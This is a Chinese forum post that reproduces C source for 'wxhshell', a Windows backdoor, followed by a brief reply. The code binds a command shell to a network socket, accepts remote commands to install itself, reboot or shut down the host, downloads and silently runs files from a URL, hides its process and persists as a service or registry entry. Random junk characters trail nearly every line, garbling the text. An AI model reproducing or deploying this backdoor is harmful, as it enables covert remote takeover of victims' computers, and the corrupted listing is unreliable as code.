  if(strstr(cmd,"http://")) { 2 YWO'PL  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); >yT1oD0+x  
  if(DownloadFile(cmd,wsh)) CVkJMH_  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); |IzL4>m:;  
  else Q#ksf h!D  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); t B`"gC~  
  } Op~:z<z  
  else { is^R8a  
C Q iHk  
    switch(cmd[0]) { ;Wk3>\nT-  
  V?x&\<;,  
  // 帮助 Z"w}`&TC$^  
  case '?': { P(8 uL|^  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); +N+117m  
    break; I/A%3i=H  
  } dJ])`S  
  // 安装 q8/k $5E  
  case 'i': { Lwf[*n d  
    if(Install()) %_p]6doF  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1'TS!/ll];  
    else V62lN<M  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )t-P o'RW  
    break; T>#~.4A0  
    } fiSX( 9  
  // 卸载 hH;i_("i(h  
  case 'r': { |HY{Q1%  
    if(Uninstall()) KOXG=P0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .:Wp9M  
    else BSd.7W;cS=  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); b|kL*{;  
    break; P()W\+",n  
    } oVbs^sbRH  
  // 显示 wxhshell 所在路径 \?8q&o1=]  
  case 'p': { -:45Q{u/  
    char svExeFile[MAX_PATH]; x]%,?Vd?  
    strcpy(svExeFile,"\n\r"); #FRm<9/j  
      strcat(svExeFile,ExeFile); 0 .T5% _ /  
        send(wsh,svExeFile,strlen(svExeFile),0); .Sa=VC?EZ  
    break; S-Vxlku]  
    } y>u |3:z  
  // 重启 ' \>k7?@  
  case 'b': { ;Q/1l=Bn  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); UEYJd&n0CB  
    if(Boot(REBOOT)) ze5#6Vzd&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); IIBS:&;+-  
    else { FoZI0p?L)9  
    closesocket(wsh); c`lL&*]  
    ExitThread(0); Z]k@pR !  
    } ]uh/!\  
    break; xc`O \z_)  
    } 1LvR,V<  
  // 关机 >nvK{6xR:  
  case 'd': { p g_H'0R  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ? }`mQ<~  
    if(Boot(SHUTDOWN)) +eLL)uk  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); b~YIaD[Z  
    else { `0q=Z],  
    closesocket(wsh); TMs Cl6dB  
    ExitThread(0); SXJjagAoML  
    } & 9<+;*/  
    break; w'UVKpG+  
    } PF53mUs4  
  // 获取shell WS`qVL]^&  
  case 's': { 2n|K5FR()  
    CmdShell(wsh); )/wk ( O+  
    closesocket(wsh); (Kv#m 3~  
    ExitThread(0); lGOgN!?i  
    break; oomT)gO 6*  
  } sn)3Z A  
  // 退出 OEkN(wF  
  case 'x': { 1#ft#-g}  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); fyByz=pl  
    CloseIt(wsh); +w+} b^4  
    break; c5u@pvSP  
    } m+Rv+_R  
  // 离开 <x<"n t  
  case 'q': { J%,*is EL  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); e8GEoD  
    closesocket(wsh); ])nPPf  
    WSACleanup(); 28UU60  
    exit(1); FSA1gAW6g  
    break; %y@Hh=  
        } Qx+%"YO  
  } 6x%h6<#xh*  
  } j'HZ\_  
njWL U!  
  // 提示信息 n\^Tq<] a  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);  [D<1 CF  
} 9R7 A8  
  } vy\RcP  
eep1I :N  
  return; '2[albxSc  
} j4cwI90=  
`wDl<[V  
// shell模块句柄 1f":HnLRM  
int CmdShell(SOCKET sock) # ?/<  
{ _N{RVeO  
STARTUPINFO si; Wwr;-Qa}g  
ZeroMemory(&si,sizeof(si)); {/ BT9|LI  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; \uaJ @{Vug  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; C<m{*C-`a  
PROCESS_INFORMATION ProcessInfo; e,Uo#T6J  
char cmdline[]="cmd"; d~1 gMz+)  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 0 g?z&?  
  return 0; -UOj>{-  
} 4UW_Do  
.K p  
// 自身启动模式 R]RZq+2 ^  
int StartFromService(void) /Sc l#4bW  
{ g.zEn/SM  
typedef struct {l/-LZ.  
{  y"H*%]  
  DWORD ExitStatus; \xnWciQ#{  
  DWORD PebBaseAddress; 8&)DE@W  
  DWORD AffinityMask; ;;:-l99  
  DWORD BasePriority; LQngK7>  
  ULONG UniqueProcessId; 29?,<bB)  
  ULONG InheritedFromUniqueProcessId; P8*=Ls+-F  
}   PROCESS_BASIC_INFORMATION; >JC  
-\ EP.Vtz  
PROCNTQSIP NtQueryInformationProcess; '>' wK.  
! 3 f?:M  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; L>SjllY  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 'i4_`^:+  
\\u<S=G  
  HANDLE             hProcess; enSXP~9w  
  PROCESS_BASIC_INFORMATION pbi; X0haj~o[  
o!{w"K  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); o .qf _A  
  if(NULL == hInst ) return 0; S'_-G;g.  
 Pyb Z)5u  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); [g:$K5\64  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); S/ODq L|  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); p4-o/8rO  
y6[IfcN  
  if (!NtQueryInformationProcess) return 0; (<}&DE  
-/g B|J  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); :QB<?HaS'  
  if(!hProcess) return 0; :=/>Vbd: )  
.[3Z1v,  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; [5+}rwm&W  
|,!IZ- th  
  CloseHandle(hProcess); }A7j/uy}s  
wT:b\km:!  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); & '}/f5s|  
if(hProcess==NULL) return 0; g#t[LI9(F[  
[`rba'  
HMODULE hMod; !WpBfd>v.I  
char procName[255]; +(1zH-^.  
unsigned long cbNeeded; !`M|C?b  
$l|qk  z  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Y#lk6  
<\pfIJr$  
  CloseHandle(hProcess); N,;5{y1;J  
m|:_]/*qE  
if(strstr(procName,"services")) return 1; // 以服务启动 ^k#P5oV  
H s"HID  
  return 0; // 注册表启动 yX0dbW~@y  
} NwG= <U*  
6w(6}m.L^  
// 主模块 V*iH}Y?^p  
int StartWxhshell(LPSTR lpCmdLine) OC<5E121>Y  
{ OSf}Q=BL  
  SOCKET wsl; y10h#&k  
BOOL val=TRUE; cQ" ~\  
  int port=0; o)2W`i&  
  struct sockaddr_in door; fIwV\,s  
o17ekML  
  if(wscfg.ws_autoins) Install(); }=8B*  
p-/|mL  
port=atoi(lpCmdLine); frT]5?{  
mHBnC&-/  
if(port<=0) port=wscfg.ws_port; K/3)g9Z&io  
uec!RKE  
  WSADATA data;  XoCC/  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; yA.4G_|I  
\&iP`v`K  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   c(n&A~*AJ%  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); -!N&OZ+R   
  door.sin_family = AF_INET; NCk r /#!  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); /s[l-1zW  
  door.sin_port = htons(port); PV/7 7{'  
d)R:9M}v  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { sPMa]F(  
closesocket(wsl); S!G(a"<W  
return 1; \7l-@6 '7  
} 9lW;Nk*j:  
k=B] &F  
  if(listen(wsl,2) == INVALID_SOCKET) { }c`fW&  
closesocket(wsl); 0DmMG  
return 1; ,XIz?R>;c  
} pSr{>;bN  
  Wxhshell(wsl); JoN\]JL\,  
  WSACleanup(); Pp`*]Ib  
HaYE9/xS  
return 0; bLQ ^fH4ww  
bX*Hi#J~A  
} x7<\] 94  
3&[>u;Bp  
// 以NT服务方式启动 PG_0\'X)/w  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 5K<5kHpvJ{  
{ DV\`Wv  
DWORD   status = 0; @*Wh  
  DWORD   specificError = 0xfffffff;  k7>|q"0C  
B,K>rCZ/  
  serviceStatus.dwServiceType     = SERVICE_WIN32; -x'z XvWZ  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; q*7zx_ o  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; P  '>SmQ  
  serviceStatus.dwWin32ExitCode     = 0; ewfP G,S  
  serviceStatus.dwServiceSpecificExitCode = 0; kIGbG;"_  
  serviceStatus.dwCheckPoint       = 0; LwK+:4$  
  serviceStatus.dwWaitHint       = 0; pDh{Z g6t  
<YOLxR  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); $`wMX{  
  if (hServiceStatusHandle==0) return; n< ud> JIb  
SnFk>`  
status = GetLastError(); H'LD}\K l  
  if (status!=NO_ERROR) '^Ql]% _  
{ E/09hD Q  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; K,w"_T  
    serviceStatus.dwCheckPoint       = 0; W ]Nv33i [  
    serviceStatus.dwWaitHint       = 0; `X`2:@gQ  
    serviceStatus.dwWin32ExitCode     = status; Ty<L8+B|  
    serviceStatus.dwServiceSpecificExitCode = specificError; qWx][D"  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); sz)oZPu|  
    return; KGWyJ  
  } Ojt`^r!V  
 k0  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Q^q1 ns;r  
  serviceStatus.dwCheckPoint       = 0; h~(D@/tB  
  serviceStatus.dwWaitHint       = 0; Tzn tO9P+  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 9:!gI|C  
} 5i-Rglo  
i@B[ eta  
// 处理NT服务事件,比如:启动、停止 hBFP1u/E'  
VOID WINAPI NTServiceHandler(DWORD fdwControl) \MmI`$  
{ GQl$yZaK{  
switch(fdwControl) ^kgBa27  
{ KMV=%o  
case SERVICE_CONTROL_STOP: Ga^Zb^y  
  serviceStatus.dwWin32ExitCode = 0; kdCP  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; %uoQ9lD'  
  serviceStatus.dwCheckPoint   = 0; w,Lvt }  
  serviceStatus.dwWaitHint     = 0; ynB_"mg  
  { =e}H'5?!  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); g(Io/hyj  
  } t(+) #  
  return; #_|sgS?1  
case SERVICE_CONTROL_PAUSE: rC7``#5  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; NO0"*c;  
  break; r 3M1e+'fc  
case SERVICE_CONTROL_CONTINUE: `$~Rxz Z g  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; (__yh^h:m  
  break; +R\vgE68  
case SERVICE_CONTROL_INTERROGATE:  X!j{o  
  break; &tZG @  
}; v"MX>^/<  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); s%!`kWVJ.  
} R@*O!bD  
e.*%K!(  
// 标准应用程序主函数 Ic{F*nnM  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) C'!;J  
{ 1N\D5g3  
oM)h#8bq  
// 获取操作系统版本 ZZj~GQL(S  
OsIsNt=GetOsVer(); ~fa(=.h  
GetModuleFileName(NULL,ExeFile,MAX_PATH); *1'`"D~  
`s]4AKBO  
  // 从命令行安装 mC z,2K|^~  
  if(strpbrk(lpCmdLine,"iI")) Install(); _oB_YL;,*  
yE\wj  
  // 下载执行文件 G|m1.=DJm  
if(wscfg.ws_downexe) { ur\qOX|{  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Z/6qG0feJ  
  WinExec(wscfg.ws_filenam,SW_HIDE); `$604+G  
} G\;}w  
Gs*G<P"  
if(!OsIsNt) { ;&b%Se@#p  
// 如果时win9x,隐藏进程并且设置为注册表启动 M('d-Q{B7L  
HideProc(); \@~UDP]7  
StartWxhshell(lpCmdLine); P0i V<T4^  
} =l9T7az  
else @+Y8*Rj\3  
  if(StartFromService()) Y=*P 8pg  
  // 以服务方式启动 \]Dt4o*yZ  
  StartServiceCtrlDispatcher(DispatchTable); [,~TaP}m  
else WV"jH9"[  
  // 普通方式启动 oA tsUF+a  
  StartWxhshell(lpCmdLine); +<.\5+  
@4!x>q$3  
return 0; zTD@  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
如果您提交过一次失败了,可以用”恢复数据”来恢复帖子内容
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八